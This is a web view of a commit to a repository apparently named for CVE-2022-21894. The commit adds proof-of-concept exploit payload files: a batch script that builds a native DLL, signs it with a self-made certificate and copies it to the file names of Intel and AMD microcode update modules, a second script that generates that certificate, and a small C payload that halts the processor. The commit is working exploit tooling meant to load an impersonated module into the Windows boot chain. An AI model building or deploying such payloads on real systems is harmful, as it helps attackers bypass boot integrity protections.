Projects STRLCPY CVE-2022-21894 Commits 210bc7b8
🤬
  • ■ ■ ■ ■ ■
    payload/build.bat
     1 +@echo off
     2 +cl /O2 /LD /Femcupdate.dll /Iinc mcupdate.c /link /nodefaultlib /subsystem:native /entry:PocMain /noimplib
     3 +signtool sign /f selfsignedwin2.pfx /fd sha256 mcupdate.dll
     4 +copy /y mcupdate.dll mcupdate_GenuineIntel.dll
     5 +copy /y mcupdate.dll mcupdate_AuthenticAMD.dll
  • ■ ■ ■ ■ ■ ■
    payload/make_cert.bat
     1 +@echo off
     2 +makecert -r -pe -n "CN=SelfSigned_Windows" -a sha256 -cy end -sky signature -eku 1.3.6.1.5.5.7.3.3,1.3.6.1.4.1.311.10.3.6 -len 512 -sv selfsignedwin2.pvk selfsignedwin2.cer
  • ■ ■ ■ ■ ■ ■
    payload/mcupdate.c
     1 +#include <stdint.h>
     2 +#include <stdbool.h>
     3 +
     4 +static inline __forceinline void WaitForInterrupt() {
     5 + #if defined(_M_X64) || defined(_M_IX86)
     6 + __halt();
     7 + #elif defined(_M_ARM) || defined(_M_ARM64)
     8 + __wfi();
     9 + #else
     10 + #error "Unsupported architecture"
     11 + #endif
     12 +}
     13 +
     14 +uint32_t PocMain(void** FunctionTableOut, void** FunctionTableIn) {
     15 + // We don't want to return back to the boot application.
     16 + while (1) WaitForInterrupt();
     17 + return 0xC00000BBL; // STATUS_NOT_SUPPORTED
     18 +}
Please wait...
Page is in error, reload to recover